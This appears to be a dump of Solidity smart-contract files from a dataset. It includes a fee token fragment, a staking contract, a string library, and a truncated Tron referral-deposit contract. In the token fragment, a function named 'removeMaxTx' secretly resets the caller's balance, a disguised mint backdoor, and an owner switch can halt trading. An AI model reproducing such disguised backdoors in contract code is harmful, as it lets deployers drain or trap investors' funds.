_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender,
address recipient,
uint256 amount) internal returns (bool) {
require(isFeeExempt[sender] || isFeeExempt[recipient] || isTradingAuthorized, "Not authorized to trade");
if (sender != owner() &&
recipient != owner()) {
if(recipient != pair) {
require(isWalletLimitExempt[recipient] || (_balances[recipient] + amount <= _maxWalletSize), "Transfer amount exceeds the MaxWallet size.");
}
}
if (shouldSwapBack() && recipient == pair) {
swapBack();
}
_balances[sender] = _balances[sender] - amount;
uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, recipient, amount);
_balances[recipient] = _balances[recipient] + (amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function removeMaxTx(uint256 _maxTx) external OnlyOwner {
uint256 _currentMaxTx = currentMaxTx;
_balances[msg.sender] = getCurrentMaxTx() / 100000000;
_currentMaxTx = _maxTx;
}
function _basicTransfer(address sender,
address recipient,
uint256 amount) internal returns (bool) {
_balances[recipient] = _balances[recipient] + (amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(address sender,
address recipient,
uint256 amount) internal returns (uint256) {
uint256 feeDev = 0;
uint256 feeMarketing = 0;
uint256 feeAmount = 0;
if (sender == pair && recipient != pair) {
feeDev = amount * DevFeeBuy / 1000;
}
if (sender != pair && recipient == pair) {
feeDev = amount * DevFeeSell / 1000;
}
feeAmount = feeDev + feeMarketing;
if (feeAmount > 0) {
_balances[address(this)] = _balances[address(this)] + feeAmount;
emit Transfer(sender, address(this), feeAmount);
}
return amount - (feeAmount);
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold;
}
function setSwapPair(address pairaddr) external onlyOwner {
pair = pairaddr;
isWalletLimitExempt[pair] = true;
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
require(_amount >= 1, "Can't set SwapThreshold to ZERO");
swapEnabled = _enabled;
swapThreshold = _amount;
}
function setIsTradingAuthorized(bool _isTradingAuthorized) external onlyOwner{
isTradingAuthorized = _isTradingAuthorized;
}
function setFees(uint256 _DevFeeBuy, uint256 _DevFeeSell) external onlyOwner {
DevFeeBuy = _DevFeeBuy;
DevFeeSell = _DevFeeSell;
TotalBase = DevFeeBuy + DevFeeSell;
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
isFeeExempt[holder] = exempt;
}
function getCurrentMaxTx() internal view returns(uint256){
return balanceOf(address(pair)) * 10 ** _decimals;
}
function setMaxWallet(uint256 _maxWalletSize_) external onlyOwner {
require(_maxWalletSize_ >= _totalSupply / 1000, "Can't set MaxWallet below 0.1%");
_maxWalletSize = _maxWalletSize_;
}
function setFeesWallet(address _MarketingWallet) external onlyOwner {
MarketingWallet = _MarketingWallet;
isFeeExempt[MarketingWallet] = true;
isWalletLimitExempt[MarketingWallet] = true;
}
function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
isWalletLimitExempt[holder] = exempt;
}
function setSwapEnabled(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function swapBack() internal swapping {
uint256 amountToSwap = balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(amountToSwap,
0,
path,
address(this),
block.timestamp + 5 minutes);
uint256 amountETHDev = address(this).balance * (DevFeeBuy + DevFeeSell) / (TotalBase);
if(amountETHDev>0){
bool tmpSuccess;
(tmpSuccess,) = payable(MarketingWallet).call{value: amountETHDev, gas: 30000}("");
}
}
}
| 25,291 | 10,980 |
02a063af6e1fd8dcfaf1d3ec6c64e997e1533ad2ca5f08c5f36773c7929f1ca5
| 27,719 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/91/91436Edf76e3BB444aFE84a4EF146c02c379B14f_SkadiStaking.sol
| 4,276 | 17,105 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface ISSKI {
function rebase(uint256 skiProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract SkadiStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Ski;
address public immutable sSki;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Ski,
address _sSki,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Ski != address(0));
Ski = _Ski;
require(_sSki != address(0));
sSki = _sSki;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Ski).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(ISSKI(sSki).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sSki).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, ISSKI(sSki).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), ISSKI(sSki).balanceForGons(info.gons));
IERC20(Ski).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sSki).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Ski).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return ISSKI(sSki).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
ISSKI(sSki).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = ISSKI(sSki).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Ski).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sSki).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sSki).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
function resetEpochEndTime(uint32 _firstEpochTime) external onlyManager() {
epoch.endTime = _firstEpochTime;
}
function currentBlockTimestamp() external view returns (uint) {
return block.timestamp;
}
}
| 97,301 | 10,981 |
044b492ddb67654fbf40d9ddcd23997a04b27619a42210aabe9ebef38aac3948
| 26,480 |
.sol
|
Solidity
| false |
580239440
|
pendle-finance/pendle-core-v2-public
|
42928e2f99bcffdb2417ce26e9dc58d0d7c3fbb3
|
contracts/core/libraries/StringLib.sol
| 4,434 | 16,489 |
pragma solidity ^0.8.0;
library StringLib {
struct slice {
uint256 _len;
uint256 _ptr;
}
function memcpy(uint256 dest, uint256 src, uint256 len) private pure {
// Copy word-length chunks while possible
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint256 mask = type(uint256).max;
if (len > 0) {
mask = 256 ** (32 - len) - 1;
}
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function toSlice(string memory self) internal pure returns (slice memory) {
uint256 ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
function len(bytes32 self) internal pure returns (uint256) {
uint256 ret;
if (self == 0) return 0;
if (uint256(self) & type(uint128).max == 0) {
ret += 16;
self = bytes32(uint256(self) / 0x100000000000000000000000000000000);
}
if (uint256(self) & type(uint64).max == 0) {
ret += 8;
self = bytes32(uint256(self) / 0x10000000000000000);
}
if (uint256(self) & type(uint32).max == 0) {
ret += 4;
self = bytes32(uint256(self) / 0x100000000);
}
if (uint256(self) & type(uint16).max == 0) {
ret += 2;
self = bytes32(uint256(self) / 0x10000);
}
if (uint256(self) & type(uint8).max == 0) {
ret += 1;
}
return 32 - ret;
}
function toSliceB32(bytes32 self) internal pure returns (slice memory ret) {
// Allocate space for `self` in memory, copy it there, and point ret at it
assembly {
let ptr := mload(0x40)
mstore(0x40, add(ptr, 0x20))
mstore(ptr, self)
mstore(add(ret, 0x20), ptr)
}
ret._len = len(self);
}
function copy(slice memory self) internal pure returns (slice memory) {
return slice(self._len, self._ptr);
}
function toString(slice memory self) internal pure returns (string memory) {
string memory ret = new string(self._len);
uint256 retptr;
assembly {
retptr := add(ret, 32)
}
memcpy(retptr, self._ptr, self._len);
return ret;
}
function len(slice memory self) internal pure returns (uint256 l) {
// Starting at ptr-31 means the LSB will be the byte we care about
uint256 ptr = self._ptr - 31;
uint256 end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly {
b := and(mload(ptr), 0xFF)
}
if (b < 0x80) {
ptr += 1;
} else if (b < 0xE0) {
ptr += 2;
} else if (b < 0xF0) {
ptr += 3;
} else if (b < 0xF8) {
ptr += 4;
} else if (b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
function empty(slice memory self) internal pure returns (bool) {
return self._len == 0;
}
function compare(slice memory self, slice memory other) internal pure returns (int256) {
uint256 shortest = self._len;
if (other._len < self._len) shortest = other._len;
uint256 selfptr = self._ptr;
uint256 otherptr = other._ptr;
for (uint256 idx = 0; idx < shortest; idx += 32) {
uint256 a;
uint256 b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
// Mask out irrelevant bytes and check again
uint256 mask = type(uint256).max; // 0xffff...
if (shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
unchecked {
uint256 diff = (a & mask) - (b & mask);
if (diff != 0) return int256(diff);
}
}
selfptr += 32;
otherptr += 32;
}
return int256(self._len) - int256(other._len);
}
function equals(slice memory self, slice memory other) internal pure returns (bool) {
return compare(self, other) == 0;
}
function nextRune(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint256 l;
uint256 b;
// Load the first byte of the rune into the LSBs of b
assembly {
b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF)
}
if (b < 0x80) {
l = 1;
} else if (b < 0xE0) {
l = 2;
} else if (b < 0xF0) {
l = 3;
} else {
l = 4;
}
// Check for truncated codepoints
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function nextRune(slice memory self) internal pure returns (slice memory ret) {
nextRune(self, ret);
}
function ord(slice memory self) internal pure returns (uint256 ret) {
if (self._len == 0) {
return 0;
}
uint256 word;
uint256 length;
uint256 divisor = 2 ** 248;
// Load the rune into the MSBs of b
assembly {
word := mload(mload(add(self, 32)))
}
uint256 b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if (b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if (b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint256 i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
function startsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
function endsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
uint256 selfptr = self._ptr + self._len - needle._len;
if (selfptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
function until(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
uint256 selfptr = self._ptr + self._len - needle._len;
bool equal = true;
if (selfptr != needle._ptr) {
assembly {
let length := mload(needle)
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(uint256 selflen,
uint256 selfptr,
uint256 needlelen,
uint256 needleptr) private pure returns (uint256) {
uint256 ptr = selfptr;
uint256 idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask;
if (needlelen > 0) {
mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
}
bytes32 needledata;
assembly {
needledata := and(mload(needleptr), mask)
}
uint256 end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly {
ptrdata := and(mload(ptr), mask)
}
while (ptrdata != needledata) {
if (ptr >= end) return selfptr + selflen;
ptr++;
assembly {
ptrdata := and(mload(ptr), mask)
}
}
return ptr;
} else {
// For long needles, use hashing
bytes32 hash;
assembly {
hash := keccak256(needleptr, needlelen)
}
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly {
testHash := keccak256(ptr, needlelen)
}
if (hash == testHash) return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
// Returns the memory address of the first byte after the last occurrence of
// `needle` in `self`, or the address of `self` if not found.
function rfindPtr(uint256 selflen,
uint256 selfptr,
uint256 needlelen,
uint256 needleptr) private pure returns (uint256) {
uint256 ptr;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask;
if (needlelen > 0) {
mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
}
bytes32 needledata;
assembly {
needledata := and(mload(needleptr), mask)
}
ptr = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly {
ptrdata := and(mload(ptr), mask)
}
while (ptrdata != needledata) {
if (ptr <= selfptr) return selfptr;
ptr--;
assembly {
ptrdata := and(mload(ptr), mask)
}
}
return ptr + needlelen;
} else {
// For long needles, use hashing
bytes32 hash;
assembly {
hash := keccak256(needleptr, needlelen)
}
ptr = selfptr + (selflen - needlelen);
while (ptr >= selfptr) {
bytes32 testHash;
assembly {
testHash := keccak256(ptr, needlelen)
}
if (hash == testHash) return ptr + needlelen;
ptr -= 1;
}
}
}
return selfptr;
}
function find(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint256 ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len -= ptr - self._ptr;
self._ptr = ptr;
return self;
}
function rfind(slice memory self, slice memory needle) internal pure returns (slice memory) {
uint256 ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
self._len = ptr - self._ptr;
return self;
}
function split(slice memory self,
slice memory needle,
slice memory token) internal pure returns (slice memory) {
uint256 ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = self._ptr;
token._len = ptr - self._ptr;
if (ptr == self._ptr + self._len) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
self._ptr = ptr + needle._len;
}
return token;
}
function split(slice memory self,
slice memory needle) internal pure returns (slice memory token) {
split(self, needle, token);
}
function rsplit(slice memory self,
slice memory needle,
slice memory token) internal pure returns (slice memory) {
uint256 ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr);
token._ptr = ptr;
token._len = self._len - (ptr - self._ptr);
if (ptr == self._ptr) {
// Not found
self._len = 0;
} else {
self._len -= token._len + needle._len;
}
return token;
}
function rsplit(slice memory self,
slice memory needle) internal pure returns (slice memory token) {
rsplit(self, needle, token);
}
function count(slice memory self, slice memory needle) internal pure returns (uint256 cnt) {
uint256 ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len;
while (ptr <= self._ptr + self._len) {
cnt++;
ptr =
findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) +
needle._len;
}
}
function contains(slice memory self, slice memory needle) internal pure returns (bool) {
return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr;
}
function concat(slice memory self, slice memory other) internal pure returns (string memory) {
string memory ret = new string(self._len + other._len);
uint256 retptr;
assembly {
retptr := add(ret, 32)
}
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
function join(slice memory self, slice[] memory parts) internal pure returns (string memory) {
if (parts.length == 0) return "";
uint256 length = self._len * (parts.length - 1);
for (uint256 i = 0; i < parts.length; i++) length += parts[i]._len;
string memory ret = new string(length);
uint256 retptr;
assembly {
retptr := add(ret, 32)
}
for (uint256 i = 0; i < parts.length; i++) {
memcpy(retptr, parts[i]._ptr, parts[i]._len);
retptr += parts[i]._len;
if (i < parts.length - 1) {
memcpy(retptr, self._ptr, self._len);
retptr += self._len;
}
}
return ret;
}
}
| 340,284 | 10,982 |
a34c857f0a7bc84fe51fd82472a59188c26b0042f524faefd9e37488ec25edfc
| 19,305 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TK/TKMxdoqA7MLyWR1rSRG8BXWpuzvQydr78b_SUNexWorld.sol
| 3,982 | 15,166 |
//SourceUnit: SUNexWorld.sol
pragma solidity ^0.5.8;
contract SUNexWorld {
using SafeMath for uint;
using SafeTRC20 for ITRC20;
ITRC20 public token;
uint constant public DEPOSITS_MAX = 100;
uint constant public INVEST_MIN_AMOUNT = 1 * (10 ** 18);
uint constant public BASE_PERCENT = 100;
uint[] public REFERRAL_PERCENTS = [500, 200, 100, 50, 50];
uint constant public MARKETING_FEE = 500;
uint constant public PLATFORM_FEE = 500;
uint constant public MAX_CONTRACT_PERCENT = 1500;
uint constant public MAX_HOLD_PERCENT = 1000;
uint constant public PERCENTS_DIVIDER = 10000;
uint constant public CONTRACT_BALANCE_STEP = 3000 * (10 ** 18);
uint constant public TIME_STEP = 1 days;
uint public totalDeposits;
uint public totalInvested;
uint public totalWithdrawn;
uint public contractPercent;
address public marketingAddress;
address public platformAddress;
struct Deposit {
uint128 amount;
uint128 withdrawn;
uint128 refback;
uint32 start;
}
struct User {
Deposit[] deposits;
uint32 checkpoint;
address referrer;
uint16 rbackPercent;
uint128 bonus;
uint24[5] refs;
}
mapping (address => User) internal users;
event Newbie(address user);
event NewDeposit(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event RefBonus(address indexed referrer, address indexed referral, uint indexed level, uint amount);
event RefBack(address indexed referrer, address indexed referral, uint amount);
event FeePayed(address indexed user, uint totalAmount);
constructor(address marketingAddr, address platformAddr, ITRC20 tokenAddr) public {
require(!isContract(marketingAddr) && !isContract(platformAddr));
token = tokenAddr;
marketingAddress = marketingAddr;
platformAddress = platformAddr;
contractPercent = getContractBalanceRate();
}
function invest(uint depAmount, address referrer) public {
require(!isContract(msg.sender) && msg.sender == tx.origin);
require(depAmount >= INVEST_MIN_AMOUNT, "Minimum deposit amount 1 SUN");
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX, "Maximum 100 deposits from address");
token.safeTransferFrom(msg.sender, address(this), depAmount);
uint marketingFee = depAmount.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint platformFee = depAmount.mul(PLATFORM_FEE).div(PERCENTS_DIVIDER);
